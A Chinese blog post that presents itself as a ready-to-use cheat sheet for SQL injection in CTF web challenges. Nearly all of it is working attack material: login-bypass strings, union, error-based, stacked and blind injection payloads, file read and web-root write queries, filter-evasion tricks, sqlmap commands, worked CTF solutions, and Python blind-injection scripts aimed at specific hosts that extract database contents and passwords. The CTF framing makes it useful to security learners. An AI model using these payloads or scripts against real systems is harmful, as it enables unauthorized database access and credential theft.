CTF-WEB之SQL注入篇

优秀的人,不是不合群,而是他们合群的人里面没有你

本文主要汇总手工SQL注入方法合集,达到直接使用的目的,同时把sqlmap一些常用命令和脚本做成备忘录。

万能密码

登录框勇敢的输入:

admin' or 1=1%23
admin' or 1=1%23--+

最常见的字符型/数字型手工注入

首先分两步测试是否存在注入

?id=1’ and 1=1--+
?id=1’ and 1=2--+

两个页面不一样,存在注入,也可能包含其他的闭合方式,或者数字型,比如

?id=1 and 1=1--+
?id=1 and 3-1=1--+

还可能存在其他的闭合方式

‘
“
)
‘)
“)
‘))

如果存在注入,继续探测有多少个列

?id=1’ order by 2--+
?id=1’ order by 3--+
?id=1’ order by 4--+ 出错了,说明只有三个

继续探测哪儿能显示

?id=-1' union select 1,2,3--+  

给个错误的输入,看看哪儿能回显数据,还能用or继续添加,比如举个例子:xxx=admin’ or 1=1 union select 1,flag,3 from flag#

?id=-1' union select 1,database(),user()--+ 

根据正常回显的数值,查看当前数据库和用户,还能获取到的数据有:

version() 数据库版本
database() 当前数据库名
user() 用户
@@datadir 数据库路径(这里没有括号哦)
@@basedir 安装路径

假如的到数据库名为security

?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+  

查看当前有哪些表,假如存在表user

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+  

查看users表有哪些列的数据,假如存在username,password

?id=-1' union select 1,2,group_concat(username,password) from users--+

获取user表中username,password的内容

下面介绍一个小技巧,可以获取所有的表或者所有的列

http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,group_concat(TABLE_NAME,0x3c2f62723e),7,8,9,10,11,12,13,14,15,database(),17,18,19,20 from information_schema.TABLES where TABLE_SCHEMA='comic_db'#

http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,group_concat(column_NAME,0x3c2f62723e),7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columnS where TABLE_name='user'

http://www.*****.com/chapter.php?id=-1' union select 1,group_concat(user,0x3c2f62723e,password) from users#

强制报错注入1

比较复杂,简单的使用公式吧,就是前面正常注入,一直到order by都是正常的,一直到union select 123发现没有回显,这个时候可以尝试一下公式

?id=1'and (select 1 from (select count(*),concat(database(),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

这里你可以把公式中的database()替换成user()等去探测别的信息,并且通过强制报错可以不用去探测字段数

如果回显出数据库名,接下来探测表名

?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

但因为公式的限制一次只能回显一个,注意这里别忘了limit限制输出,继续查询下一个表名用limit 1,1 再后面的就是limit 2,1

?id=1'and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

?id=1'and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 2,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

?id=1'and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 5,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

然后直接探测数据

?id=1'and (select 1 from (select count(*),concat((select concat(username,':',password) from users limit 3,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

强制报错注入2

?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
'回显:XPATH syntax error: '~security~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
'回显:XPATH syntax error: '~emails,referers,uagents,users~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
'回显:XPATH syntax error: '~id,username,password~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
'回显:XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'

堆叠注入

和命令执行方法差不多,就是同时执行2条sql语句一起查询

语法如下

测试注入
1';show tables --+

查看字段
-1';show columns from `1919810931114514` --+
-1';show columns from `words` --+

查看值,需要绕过select的限制,我们可以使用预编译的方式

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:

-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt; #

基础盲注

测试注入,来判断数据库长度

1' and length(database())>8-- qwe

判断第一位字符是否为s

1' and substr(database(),1,1)='S' -- qwe

写入文件或者读取文件

文件读取

首先需要判断是否存在写入或者读取文件的权限

 and (select count(*) from mysql.user)>0--+
/*如果结果返回正常,说明具有读写权限.*/
  and (select count(*) from mysql.user)>0--+
/* 返回错误,应该是管理员给数据库账户降权了*/

然后直接读取就行,并且读取的时候一定要有完整的路径

?id=1' union select 1,2,load_file 'etc/hosts' --+

文件写入

要获取网站路径获取方法:

  1. phpinfo.php文件,一般在根目录下存在php.php info.php phpinfo.php,test.php php_info.php等。
  2. 报错路径然后读取文件。
  3. 默认配置文件,可以百度搜索某cms的对应配置文件,找到链接数据库文件,读取数据库账号密码。

然后直接执行就能写入

?id=1' union select 1,2,'浪子好帅啊' into outfile('完整的WEB目录')--+

文件写入的绕过方法

  1. 如果PHP中magic_quotes_gpc=on,也就是魔术引号手开启自动过滤单引号双引号斜杠,那么读取写入文件时候,加在路劲边上的单引号就会被过滤掉,这时候前面学的函数char()和hex()就能派上用场了

    比如我要读取/etc/host文件,先把它转换成ascii码

    import sys
    for x in (‘/etc/host’):

    sys.stdout.write(str(ord(x))+',')
    

然后直接执行

?id=-1 union select 1,2,load_file(char(47,101,116,99,47,104,111,115,116,115))--+

另一个方法是使用hex方法

import sys
for x in ('/etc/host'):
    sys.stdout.write(str(x).encode('hex')+',')

然后直接执行

?id=-1 union select 1,2,load_file(0x2f6574632f686f737473)--+

注释符过滤

【#】 在URL中需要转换一下编码格式变成【%23】
【-–+】或者【–空格任意符号】
【-- -】这个玩意新学的,贼好使
【·】 该符号在键盘~的下面
【;%00】%00是MYSQL的截断符号
【/*】 或者【/*!字母*/】该符号仅在MYSQL-5.1中有效

如果这些都被过滤了,就单引号闭合好了~

/?id=1' or '1'='1

数字型因为不用注释符,所以不用考虑

and or过滤

【And】大小写绕过
【aandnd】复写绕过
【&&】代替and
【||】代替or

逗号过滤

union select 1,2,3

替换成下面的写法

union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23

就是这个样子

/?id=1' union select * from (select 1)a join (select 2)b join (select 3)c --+

substr(user(),1,1)等价于substr((user()) from 1 for 1)

union和select过滤

【大小写绕过】
【复写绕过】

空格过滤

%0a,%0b,%0c,%0d,%09,%a0,%20
基于注释符号【/**/】插入代替空格
使用【+】号代替空格
其中~可以加在select后面,比如select~1,2%23
带入的变量可以加上括号,比如select * from user where name like (‘%sb%’)

=过滤

=   是等于
mysql的不等于用 <> 表示
那么!<> 不等于取非就是等于了

table_schema=databases() -> !(table_schema<>databases())

用注入的代码举个例子

id = 1' -- - 判断出是单号闭合

id = 1' union select 1,2,3 -- - 存在3列

id=-1%27union select 1,(select group_concat(table_name) from information_schema.tables where !(table_schema<>database())),3 -- -

id=-1%27union select 1,(select group_concat(column_name) from information_schema.columns where !(table_name<>'fl444444ag')),3 -- -

id=-1%27union select 1,(select group_concat(f1444agg) from
fl444444ag),3 -- -

宽字节绕过

对于字符型注入,我们通常要使用 ‘ 、”、’)、”) 等进行闭合,而若在前面加上\ (反斜杠),则会使闭合符号失效,达不到闭合的效果,从而导致注入失败。

将 %df 和 \ 组合到一起 = %df\ -->一个无法识别的中文字符。

就这样:

/?id=1 %df' --+

id=-1%df' union select 1,2,3--+

注:使用%df使转译函数失效

sqlmap

检测注入

sqlmap -u 'http://xx/?id=1'

获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

cookie注入

sqlmap -u "http://xx?id=x" --cookie 'cookie'

post注入 新增高等级绕过,就是空格替换成/**/

sqlmap sqlmap.py -u http://a3e47825-aaf6-491d-ab9c-dd60bdcefbff.challenge.ctf.show/index.php --data="username=1&password=1" --level=4 --tamper="space2comment.py

例题1

题目:

    if($array[1] == "admin"){
        if(md5($pwd) == $array[2]){
            echo $flag;
        }
        else{
        ……
        }
    }

提示:
select * from user where username = '$name'

答案

1. name=a%27&pw=11
单引号报错,存在注入
2. name=a%27 union select 1,2,3--+&pw=11
到3都能正常显示,说明三个
3.  name=a%27 union select 'admin',2,3--+&pw=11
    name=a%27 union select 1,'admin',3--+&pw=11
    name=a%27 union select 1,2,'admin'--+&pw=11
根据已知的条件name中有admin,那么测试一下admin在哪个字段
4. name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
根据提示,给123456进过md5加密带入运算
这里必须要有注释符号
结合在一起就是:select * from user where username = '1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456'

例题2

// 测试是否存在注入点

1 (有弹窗有回显)

1' (有弹窗无回显)

1#' (有弹窗有回显)

// 存在注入点

// 测试列数

1 order by 1 (无弹窗)

// 猜测某些字符被过滤

// 使用 /**/ 替换空格后再进行测试

1/**/order/**/by/**/1 (有弹窗有回显)

1/**/order/**/by/**/2 (有弹窗无回显)

// 列数为1

// 收集数据库相关信息

-1/**/union/**/select/**/database()(web)

-1/**/union/**/select/**/user()(root@localhost)

-1/**/union/**/select/**/version()(10.2.26-MariaDB-log)

-1/**/union/**/select/**/@@version_compile_os(Linux)

// --dbs

-1/**/union/**/select(group_concat(schema_name))from(information_schema.schemata)

// information_schema, mysql, performance_schema, web

// --tables

-1/**/union/**/select(group_concat(table_name))from(information_schema.tables)where(table_schema='web')(无弹窗)

// 测试发现 information_schema.tables 被过滤

// 使用 mysql.innodb_table_stats 绕过

-1/**/union/**/select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='web')

// content

// --columns

-1/**/union/**/select(group_concat(column_name))from(information_schema.columns)where(table_schema='web'/**/and/**/table_name='content')(无弹窗)

// 测试发现 information_schema.columns 被过滤

// 使用无列名注入

// 依次获取各列的数据

-1/**/union/**/select(group_concat(`1`))from(select/**/1,2,3/**/union/**/select*from(content))vt

-1/**/union/**/select(group_concat(`2`))from(select/**/1,2,3/**/union/**/select*from(content))vt

-1/**/union/**/select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select*from(content))vt

1, admin, flag is not here!

2, gtf1y, wow,you can really dance

3, Wow, tell you a secret,secret has a secret...

// Flag 不在数据库中

// 根据提示 tell you a secret,secret has a secret... 和主页中的 include("secret.php")

// 尝试读取 secret.php 文件

// 数据库用户为 root, 使用高权限读写注入

// 操作系统为 linux, 中间件为 nginx

// 先读取 nginx 配置文件, 确认下网页根路径

-1/**/union/**/select/**/load_file("/etc/nginx/nginx.conf")

// 确认网页根路径为 /var/www/html

// 读取 secret.php 文件

-1/**/union/**/select/**/load_file("/var/www/html/secret.php")

// 页面源代码中可以看到 file_get_contents('/real_flag_is_here');

// 读取 real_flag_is_here

-1/**/union/**/select/**/load_file("/real_flag_is_here")

盲注脚本

案例1

这个假设给出表是flag,列也是flag,求值

import requests

url = "http://111.33.14.218:29629/index.php"
flag = ""
i = 0

while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf + right) // 2
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id": payload}
        res = requests.post(url=url, data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

案例2

这个啥都没有,自己看着修改

import requests
#设置靶场网址
url = "http://192.168.1.190/sqli-labs/Less-8/?id=1' and "
#设置请求头信息
headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0'
}
#设置页面返回的正确信息和错误信息
flagFalse = ""
flagTrue = "You are in..........."


#一、查找数据库名长度(适用于有错误回显信息)
# for i in range(1,101):      #假定数据库名的长度不大于100
#         database_length = 0     #存储数据库名长度
#         #设置要拼接的url,查询数据库名的长度
#         url1 = f"length((select database()))>{i}--+"
#         s = requests.get(url+url1,headers=headers)
#         if flagFalse in s.content.decode():
#                 database_length = i
#                 break
"""适用于没有回显信息"""
for i in range(20,0,-1):      #假定数据库名的长度不大于100
        database_length = 0     #存储数据库名长度
        #设置要拼接的url,查询数据库名的长度
        url1 = f"length((select database()))>{i}--+"
        s = requests.get(url+url1,headers=headers)
        if flagTrue in s.content.decode():
                database_length = i + 1
                break

#接下来开始判断数据库名具体是什么,使用折半查找方式与阿斯克码值查找
# 由于数据库名由下划线、数字、字母组成,所以最小为48:0,最大为z:122,下划线:95
#二、查找数据库名
database_name = ''
for i in range(1,database_length+1):
        low = 48        #最小值
        high = 122      #最大值
        mid = int((low + high) / 2)  # 中间值
        while low<high:
                url2 = f"ascii(substr((select database()),{i},1))>{mid}--+"    #查找数据库名
                s = requests.get(url + url2, headers=headers)
                if flagTrue in s.content.decode():
                        low = mid + 1
                        #low = mid
                else:
                        high = mid
                        #high = mid - 1
                mid = int((low + high) / 2)  # 中间值
        database_name = database_name + chr(mid)    #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(f"数据库名为:{database_name}")

#三、判断所有表名字符长度(适用于有回显信息)
# for i in range(1,101):      #假定所有表名的长度不大于100
#         table_length = 0     #存储所有表名长度
#         url3 = f'length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{i}--+'
#         s = requests.get(url+url3,headers=headers)
#         if flagFalse in s.content.decode():
#                 table_length = i
#                 break
"""适用于没有回显信息"""
for i in range(100,0,-1):      #假定所有表名的长度不大于100
        table_length = 0     #存储所有表名长度
        url3 = f'length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{i}--+'
        s = requests.get(url+url3,headers=headers)
        if flagTrue in s.content.decode():
                table_length = i+1
                break

#四、查找所有表名
table_name = ''
for i in range(1,table_length+1):
        low = 48        #最小值
        high = 122      #最大值
        mid = int((low + high) / 2)  # 中间值
        while low<high:
                url4 = f"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}--+"
                s = requests.get(url + url4, headers=headers)
                if flagTrue in s.content.decode():
                        low = mid + 1
                        #low = mid
                else:
                        high = mid
                        #high = mid - 1
                mid = int((low + high) / 2)  # 中间值
        table_name = table_name + chr(mid)    #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(f"{database_name}数据库下有表:{table_name}")

#五、判断所有字段名的长度(适用于有错误回显)
# for i in range(1,101):      #假定所有字段名的长度不大于100
#         column_length = 0     #存储所有字段名长度
#         url5 = f'length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))>{i}--+'
#         s = requests.get(url+url5,headers=headers)
#         if flagFalse in s.content.decode():
#                 column_length = i
#                 break
"""适用于没有回显信息"""
for i in range(100,0,-1):      #假定所有字段名的长度不大于100
        column_length = 0     #存储所有字段名长度
        url5 = f'length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))>{i}--+'
        s = requests.get(url+url5,headers=headers)
        if flagTrue in s.content.decode():
                column_length = i
                break

#六、查找所有字段名
column_name = ''
for i in range(1,column_length+1):
        low = 48        #最小值
        high = 122      #最大值
        mid = int((low + high) / 2)  # 中间值
        while low<high:
                url6 = f"ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid}--+"
                s = requests.get(url + url6, headers=headers)
                if flagTrue in s.content.decode():
                        low = mid + 1
                        #low = mid
                else:
                        high = mid
                        #high = mid - 1
                mid = int((low + high) / 2)  # 中间值
        column_name = column_name + chr(mid)    #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(f"表下有:{column_name}字段")

#七、判断一个字段下所有数据的长度(适用于有错误回显)
# for i in range(1,501):      #假定所有数据的长度不大于500
#         data_length = 0     #存储所有字段名长度
#         url7 = f'length((select group_concat(username,id,password) from users))>{i}--+'
#         s = requests.get(url+url7,headers=headers)
#         if flagFalse in s.content.decode():
#                 data_length = i
#                 break
"""适用于没有回显信息"""
for i in range(500,0,-1):      #假定所有数据的长度不大于500
        data_length = 0     #存储所有字段名长度
        url7 = f'length((select group_concat(username,id,password) from users))>{i}--+'
        s = requests.get(url+url7,headers=headers)
        if flagFalse in s.content.decode():
                data_length = i
                break

#八、查找所有数据
data = ''
for i in range(1,data_length+1):
        low = 32        #最小值
        high = 128      #最大值
        mid = int((low + high) / 2)  # 中间值
        while low<high:
                url8 = f"ascii(substr((select group_concat(username,id,password) from users),{i},1))>{mid}--+"
                s = requests.get(url + url8, headers=headers)
                if flagTrue in s.content.decode():
                        low = mid + 1
                        #low = mid
                else:
                        high = mid
                        #high = mid - 1
                mid = int((low + high) / 2)  # 中间值
        data = data + chr(mid)
print(f"表下有数据:{data}")

案例3

需要登录的情况下,这个比上面一个好用,修改修改就可以用

数据库

import string
import requests

url = 'http://web.jarvisoj.com:32787/login.php'
s = string.digits + string.ascii_letters + string.punctuation #数字+大小写字母
payload = {
    'username' : '',
    'password' : 1
}
result = ''

username_template = "'or/**/ascii(substr(database(),{0},1))={1}#"    #注入命令

st = 0
for i in range(1,50):  #i为库名长度
    st = 0
    for c in s :
        asc = ord(c)   #转为ASCII值
        payload['username'] = username_template.format(i,asc)
        response = requests.post(url, data=payload)
        if len(response.text) < 1192 :   #返回长度,可通过添加print(len(response.text))计算
            result += c
            print('database: ', result)
            st = 1
    if st == 0:
        break
print('database: ', result)

表名

import string
import requests

url = 'http://web.jarvisoj.com:32787/login.php'
s = string.digits + string.ascii_letters + string.punctuation
payload = {
    'username' : '',
    'password' : 1
}
result = ''

username_template = "'or/**/ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))={1}#"

st = 0
for i in range(1,50):
    st = 0
    for c in s :
        asc = ord(c)
        payload['username'] = username_template.format(i,asc)
        response = requests.post(url, data=payload)
        if len(response.text) < 1192 :
            result += c
            print('tables: ', result)
            st = 1
    if st == 0:
        break
print('tables: ', result)

列名

import string
import requests

url = 'http://web.jarvisoj.com:32787/login.php'
s = string.digits + string.ascii_letters + string.punctuation
payload = {
    'username' : '',
    'password' : 1
}
result = ''

username_template = "'or/**/ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='admin'),{0},1))={1}#"

st = 0
for i in range(1,50):
    st = 0
    for c in s :
        asc = ord(c)
        payload['username'] = username_template.format(i,asc)
        response = requests.post(url, data=payload)
        if len(response.text) < 1192 :
            result += c
            print('columns: ', result)
            st = 1
    if st == 0:
        break
print('columns: ', result)

数据

import string
import requests

url = 'http://web.jarvisoj.com:32787/login.php'
s = string.digits + string.ascii_letters + string.punctuation 
payload = {
    'username' : '',
    'password' : 1
}
result = ''

username_template = "'or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))={1}#"

st = 0
for i in range(1,50):
    st = 0
    for c in s :
        asc = ord(c)
        payload['username'] = username_template.format(i,asc)
        response = requests.post(url, data=payload)
        if len(response.text) < 1192 :
            result += c
            print('password: ', result)
            st = 1
    if st == 0:
        break
print('password: ', result)
坚持原创技术分享,您的支持将鼓励我继续创作!

-------------本文结束感谢您的阅读-------------

腾讯云主机优惠打折:最新活动地址


版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%